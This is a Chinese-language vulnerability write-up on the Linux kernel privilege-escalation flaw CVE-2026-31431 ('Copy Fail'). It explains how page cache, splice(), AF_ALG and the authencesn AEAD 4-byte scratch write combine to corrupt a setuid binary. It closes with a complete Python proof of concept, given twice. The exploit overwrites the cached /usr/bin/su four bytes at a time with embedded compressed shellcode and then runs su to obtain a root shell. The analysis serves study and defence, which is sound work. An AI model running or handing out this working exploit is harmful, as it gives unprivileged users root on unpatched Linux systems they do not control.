Linux CVE-2026-31431(Copy Fail)漏洞深入复现分析(待完善).md
漏洞简介
CVE-2026-31431(称为 "Copy Fail"),该漏洞为Linux 内核本地提权(LPE),通过页面缓存写入实现。该漏洞问题的根源在于内核的 AF_ALG 接口,即使是无特权的本地用户也能通过它调用内核加密功能。该漏洞正是利用了 AF_ALG 接口与 splice() 系统调用的组合,篡改了 setuid 程序的页缓存,最终获得 root 权限。影响几乎2017 年至 2026 年 4 月补丁前的几乎所有主流 Linux 发行版目前已经在Ubuntu 24.04 / 22.04 / 20.04这些桌面发行版成功复现,其他Linux发行版操作系统以及基于相应发行版二开的操作系统理论上也存在这个漏洞。目前该漏洞已被修复
原理深度剖析(前置知识)
接下来本篇文章将会从0开始讲解这个漏洞的原理,如果你觉得写的不错的话可以多推荐给朋友。漏洞原理图(可能会有点小细节存在错误请注意自行甄别)
如果你是第一次接触这个,那么大概率这里很多概率都不知道,因此首先在了解漏洞原理之前我们要先学习这些相关机制
页缓存机制是什么?
众所周知,在计算机中,我们的存储分我内存和硬盘存储,如果我们每次运行都要去从硬盘拿数据再运行,那样效率就太低下了,因此我们在启动计算机后大部分常驻的程序的相应地址及其code会被写入内存,然后下一次运行的时候直接从内存里面拿,这样就快很多了,而页中也存在页缓存身份。这个漏洞就是借助了splice()其函数不复制数据,直接传递页缓存页面的引用,保持了页面的"页缓存身份"这样的一个特性。
其实这个splice()函数在之前爆出过的多个Linux漏洞里面也是关键的一环其中也包括了Dirty pipe漏洞。Linus 也曾在 2020-12-27 的邮件里公开说过,把 splice() 广泛开放"是个错误"
Re: LXC broken with 5.10-stable?, ok with 5.9-stable (Re: Linux 5.10.3) --- Linux Kernel


在以下论坛里面有关于是否考虑弃用splice的讨论
写时复制文件从文件到管道的 splice() 吗? --- copy on write for splice() from file to pipe?
不过到现在,内核文档里它仍然在正常维护,process/deprecated.html 里也没有 splice 条目
- 官方 deprecated 列表(目前未列出 splice): https://www.kernel.org/doc/html/latest/process/deprecated.html
在这个漏洞中攻击者选择了/usr/bin/su为攻击目标,这是因为该文件的页缓存已存在于内存中(系统启动首次执行后载入),大部分的Linux的机器几乎缓存里面都存在这个的page cache。而且用这个来做LPE页非常方便
AF_ALG 接口
什么是AF_ALG 接口?(以下内容大部分由AI辅助生成)
AF_ALG全称:Address Family for ALGorithms(算法套接字)。
作用:通过 socket 接口使用内核提供的加密算法(如 AES、SHA、HMAC)。
优点:
-
无需自己实现算法,使用内核提供的高性能实现。
-
支持硬件加速(如 AES-NI、ARM CryptoCell 等)。
-
可以方便地在多种算法间切换,只需修改 socket 配置。
使用方法
// 1. 创建 AF_ALG 套接字
int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);有时候这里的AF_ALG会写成38但是38其实是和AF_ALG一个意思
// 2. 设置要使用的算法类型和名称
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "hash", // 算法类型,如 "hash", "skcipher"
.salg_name = "sha256" // 算法名称,如 "sha256", "cbc(aes)"
};
bind(sock, (struct sockaddr*)&sa, sizeof(sa));
// 3. 接受连接,生成一个专门用于操作的文件描述符
int op_fd = accept(sock, NULL, 0);
发送/接收数据
对于散列算法:
send(c, data, data_len, 0);
read(c, digest, digest_len);
对于对称加密:
可以通过 sendmsg/recvmsg 传递控制消息(如 IV)
// 5. 读取结果
read(op_fd, result, result_len);
你之前了解过websocket那么这个对你来说不难理解。。尽管它技术上有诸多好处,但是这个AF_ALG这个特殊的地址族 就是一个巨大的攻击面。这个攻击面体现在以下几点
1.AF_ALG 向普通用户态程序开放了一个合法的内核加密接口,使用户可以通过 sendmsg()、recvmsg()、splice() 等标准 socket API,间接影响内核如何构造和使用 scatterlist
2.AF_ALG 提供了一条从用户态进入内核 crypto 请求处理路径的合法通道。攻击者不需要内核模块、/dev/mem 或 /proc/kcore,只需使用标准 socket API,就能让内核替其构造 TX/RX scatterlist 并调用相应的加密算法。
3.在该漏洞中,攻击者绑定 authencesn(hmac(sha256),cbc(aes)) 这一 AEAD 算法后,再结合 splice() 把目标文件的 page cache 页带入输入路径,利用旧版 algif_aead 的 in-place 逻辑把这些页错误拼接进可写的 dst scatterlist;此时 authencesn 解密过程中的 4 字节 scratch write 才会把原本只应被读取的文件页缓存页变成实际可写的攻击面。
这三点使其成为了内核安全的一个薄弱点。Linux 内核社区的开发者们已承认,在 2010 年加入 AF_ALG 是一个"错误"
crypto: af_alg - Document the deprecation of AF_ALG | Patchew
这里再介绍一下scatterlist是什么意思:
scatterlist 可以理解成:内核里的一张"内存片段目录表"。它本身不存数据,只记录"数据分别在哪些内存页、每段多长"。
在内核里很多数据不是连续的,可能分散在不同页里比如可能出现下图这种形式:
page A 的 offset 100,长度 2000 page B 的 offset 0,长度 4096 page C 的 offset 300,长度 500
scatterlist 就把这些碎片串起来,让后面的代码把它们当成一条连续的数据流处理:
scatterlist:
sg[0] -> page A, offset 100, len 2000
sg[1] -> page B, offset 0, len 4096
sg[2] -> page C, offset 300, len 500
逻辑上等价于:
连续数据 = sg[0] + sg[1] + sg[2]
并且英文中scattet常常表达散落;三三两两;零零星星的意思。那么你可以会问为什么需要这样做呢?
因为内核经常处理这种"分散的数据"比如:
文件 page cache:文件内容本来就是一页一页缓存的
网络包 skb:一个网络包可能分散在多个内存片段
DMA:硬件设备可以按列表读写多个物理内存段
crypto:加密算法可以直接处理多个 page,避免复制
如果没有 scatterlist,内核可能要先申请一整块大内存,把所有碎片复制进去,再加密/传输。这样慢,也浪费内存。
所以为了解决这些问题需要实现以下几点
不复制数据
只描述数据在哪里
让后续模块直接处理这些页
因此scatterlist就被大佬们搓出来了
不过由于存在的安全风险,AF_ALG 已被 Linux 内核官方标记为不安全且已弃用(insecure and deprecated) ,并计划在未来逐步淘汰。截至 2026-05-12 ,AF_ALG 已经有一份被 Linux crypto 维护者接受的补丁,把它文档化为 "insecure and deprecated" 但是在短期内仍会为了兼容保留。AF_ALG 标记 AF_ALG deprecated 的补丁https://www.spinics.net/lists/kernel/msg6179608.html维护者接受补丁的回复https://www.spinics.net/lists/kernel/msg6186682.html后续移除 AF_ALG zero-copy 的补丁讨论https://www.spinics.net/lists/kernel/msg6184250.html这说明内核开发者已经开始削减 AF_ALG 中最危险的一部分功能,但这仍不是"一下子删除 AF_ALG"。
AEAD
AEAD 全称是 Authenticated Encryption with Associated Data,中文可以理解成:
带认证的加密。
它不只是加密数据,还会验证数据有没有被篡改。
AEAD 通常有三类输入:
AAD 关联认证数据,不加密,但参与完整性校验 ciphertext 密文 tag 认证标签,用来检查数据是否被篡改
解密时,大概逻辑是:
输入:AAD || ciphertext || tag 检查 tag 是否正确 如果正确:输出 plaintext 如果错误:返回认证失败
这里的重点是:AEAD 解密路径会处理 AAD、密文、tag 的边界和内存布局。
algif_aead是什么
algif_aead 不是具体加密算法。它是 AF_ALG 里面负责 AEAD 的"胶水层"。
它的职责是:
接收用户态 sendmsg/splice 送来的数据 解析 AEAD 参数,例如加密/解密、IV、AAD 长度、tag 长度 组织输入 scatterlist src 组织输出 scatterlist dst 调用真正的 AEAD 算法 把结果通过 recvmsg 返回给用户
你可以把它理解成:
AF_ALG socket 的 AEAD 处理器
真正做算法的是后面的 authencesn(hmac(...),cbc(...)) 之类,algif_aead 负责把用户数据整理成内核 crypto API 能接受的格式。然后这里的authencesnauthencesn 是一种 AEAD 模板,主要和 IPsec 的 ESN,也就是 Extended Sequence Number,扩展序列号有关。
它组合了:加密算法,例如 cbc(aes)认证算法,例如 hmac(sha256),ESN 特殊处理逻辑
漏洞里用的是:authencesn(hmac(sha256),cbc(aes))
它的特殊点是:在解密过程中,它需要临时重排 ESN 字节。为了做这个重排,它会把调用者提供的 dst 输出缓冲区当临时草稿纸用。问题就在这里:它会往一个越过正常 AEAD 输出边界的位置写 4 字节临时数据。那么是从哪里看出来可以越过正常边间写4字节的呢?
在回答这个问题之前我们需要先引出两个概念in-place和out-of-place。in-place的话简而言之就是输入缓冲区和输出缓冲区是一个地方。例子:你有一串字符 ABC,要转成小写。in-place:直接把这块内存里的 ABC 改成 abc。
但是out-of-place的话则与之相反。例子:还是 ABC -> abc。out-of-place:先读 src=ABC,再把结果写到新地方 dst=abc。结果:src 还在,dst 是新结果
虽然in-place更加省事可以降低成本,却带来了风险。当我们在使用相应的接口把 "/usr/bin/su"的缓存页载入时,他在执行因为这里使用的是in-place,所以/usr/bin/su它的页缓存会被当成dst可写。从这里开始它的属性就开始变了,但在splice()函数引入页缓存的时候他还只是作为src只是可读的性质。那么虽然/usr/bin/su它的页缓存已经载入了我们该如何写呢?又为什么是可以写入4字节而不是8字节呢2字节呢?
先说第二个问题:
因为这里处理的是 ESN(Extended Sequence Number)里的 32 位部分 ,不是随便挑的长度。RFC 4303 规定:ESN 总共是 64 位,但相关处理里会单独搬运/认证其中的 高 32 位 ;在内核 authencesn.c 里也能直接看到对这段数据用的是 4 字节操作(scatterwalk_map_and_copy(..., 4, 4, ...))。所以这里的 4 字节,本质上就是一个 u32。RFC 4303 authencesn.c
换句话说:4 字节不是"漏洞只能写 4 字节",而是这个协议/实现本来就只在这一步处理 4 字节的 ESN 片段。
第一个问题其实也不难回答,因为authencesn 在处理 ESN 时,会合法地向 dst + assoclen + cryptlen 写 4 字节;于是这次"本来正常"的写,落到了缓存页上。最终经过多次反复的四字节写达到了篡改page cache的然后运行被篡改的su二进制的缓存直接提取
原理深度剖析(利用剖析)
利用逻辑链
用户程序
-> AF_ALG socket
-> algif_aead 适配层
-> authencesn AEAD 解密算法
-> page cache 被误写
-> 执行被篡改的su
-> 直接运行shellcode提权
上面的看到头晕?没问题在这里我将结合POC和漏洞利用逻辑链进行最简洁明了的讲解
1.打开su二进制文件并准备恶意payload

这里e的数据其实就是一个压缩的shellcode作用是执行之后获得shell
2.编写循环,每次写入四字节

3.建立AF_ALG socket并设置相应加解密类型和相关秘钥

4.发送相关加解密信息通过sendmsg送进内核

5.建立pipe再把把 /usr/bin/su 的页缓存页用零拷贝方式送进 pipe,再把这些页送进 AF_ALG 链路

6.最终通过u.rcev触发漏洞,每次写四字节
- u.recv(8 + t):触发内核真正执行 authencesn 的解密/验签流程。
然后还存在最后一个问题就是我如何查看是否已经成功修改缓存看呢?
可以直接使用最简单的方法md5sum查看

到此全部结束
该文章目前可能还存在一些小缺陷,先挖个坑,后面有空了来恶补
POC
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
上面的原本的POC看起来有点乱我把他整理了一下,可以看下面这个
#!/usr/bin/env python3
import os as g
import zlib
import socket as s
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg(
[b"A" * 4 + c],
[
(h, 3, i * 4),
(h, 2, b'\x10' + i * 19),
(h, 4, b'\x08' + i * 3),
],
32768
)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try:
u.recv(8 + t)
except:
0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c4"
"4c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
while i < len(e):
c(f, i, e[i:i+4])
i += 4
g.system("su")
参考文章
Linux 内核史诗级提权漏洞:CVE-2026-31431 复现与分析_cve-2026-31431复现-CSDN博客
https://mp.weixin.qq.com/s/KHKIExChRMX6ewJk6dTgSw
Linux内核权限提升漏洞 CVE-2026-31431(Copy Fail)官方技术FAQ
人与AI协同的漏洞分析新范式------Copy Fail发现过程解析
Linux 内核 DirtyPipe 任意只读文件覆写漏洞(CVE-2022-0847)分析-安全KER - 安全资讯平台
任意只读文件漏洞分析 简介 漏洞形成原因: 使用 splice(2) ^5系统调用从一个只读文件向一个管道^6中传输数据 - 掘金